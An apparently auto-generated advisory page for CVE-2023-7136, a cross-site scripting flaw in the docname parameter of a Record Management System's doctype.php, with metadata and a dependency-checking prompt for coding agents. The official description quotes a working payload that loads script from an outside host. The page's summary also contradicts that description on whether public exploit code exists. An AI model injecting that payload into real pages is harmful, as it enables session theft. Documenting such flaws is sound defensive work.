# CVE-2023-7136: code-projects Record Management System Document Type doctype.php cross site scripting

> Remote attackers can inject malicious scripts via the docname parameter in doctype.php, potentially leading to session hijacking or code execution.

- **Severity:** Low 2.4 (`CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N`)
- **Exploited in the wild:** Not known
- **Login needed:** An administrator
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** No
- **Published:** 28 Dec 2023
- **Updated:** 2 Aug 2024
- **Also known as:** GHSA-v876-f29w-v6cf

## What is CVE-2023-7136?

CVE-2023-7136 is a low-severity cross-site scripting vulnerability in code-projects Record Management System, published on 28 Dec 2023. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.

### Official description

A vulnerability classified as problematic was found in code-projects Record Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /main/doctype.php of the component Document Type Handler. The manipulation of the argument docname with the input "><script src="https://js.rip/b23tmbxf49"></script> leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249139.

Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)

## Which versions are affected by CVE-2023-7136?

It affects 1 product.


Products: Code-Projects Record Management System.

## How do I fix CVE-2023-7136?

No fix has been published for CVE-2023-7136 yet. Limit exposure of the affected software until one is available.

## Is CVE-2023-7136 being exploited?

There is no known exploitation of CVE-2023-7136 in the wild and no public exploit code.

## Other vulnerabilities in code-projects Record Management System

- [CVE-2023-7135](https://insights.sbomify.com/CVE-2023-7135/): code-projects Record Management System Offices offices.php cross site scripting (low 2.4)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2023-7136 and fix it if it is affected.

What it is: CVE-2023-7136 is a low-severity cross-site scripting vulnerability in code-projects Record Management System, published on 28 Dec 2023. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of CVE-2023-7136 in the wild and no public exploit code.

Affected product: code-projects Record Management System. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2023-7136/ (Markdown: https://insights.sbomify.com/CVE-2023-7136/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2023-7136
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-7136
- OSV: https://osv.dev/vulnerability/CVE-2023-7136

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From sbomify Insights: https://insights.sbomify.com/CVE-2023-7136/
Summaries are generated and may contain mistakes; the official description above is the record.